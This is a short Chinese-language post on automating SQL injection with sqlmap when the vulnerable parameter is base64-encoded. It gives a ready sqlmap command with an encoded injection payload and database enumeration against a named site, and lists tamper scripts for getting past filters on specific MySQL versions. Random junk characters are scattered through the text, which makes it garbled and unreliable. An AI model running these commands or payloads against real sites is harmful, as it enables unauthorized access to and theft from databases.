SQlMap Tamper注入Base64编码注入点

admin

WVS扫某站就出来一个SQL Injection，参数还是base64编码的，手工注入麻烦一步，用sqlmap怎么自动注射呢？ " C; K; I2 X6 z* P2 ~% l0 Csqlmap的tamper里有个base64encode.py + N# O: f  ~/ o  [! U2 y5 p使用如下 3 {5 ]$ M/ y$ t- i7 [* V- X sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs - v2 _! o2 A4 c) ~8 E! [sqlmap拥有很多功能强力的插件，插件的使用方法： -- tamper “插件名称” 8 R3 D4 e% {7 z1 }" f  X其中常用到的bypass脚本绕过SQLMAP主要两个脚本： space2hash.py ，对于MYSQL数据库 4.0, 5.0注入 / t4 a$ b: T' O' P$ ]+ `# Qspace2morehash.py ，对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 7 ^6 w& w  q$ P6 ?首先确定目标数据库版本，然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" + }- r; T! L  r" O 还有其他一些插件： & q' @0 S' B+ M" A1 n% j; d* ]( c! fencodes编码 ——charencode.py * J) B: ]3 b! C  t$ A; Gbase64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py 6 i" l' @2 e, r) Z9 |; B1 s, {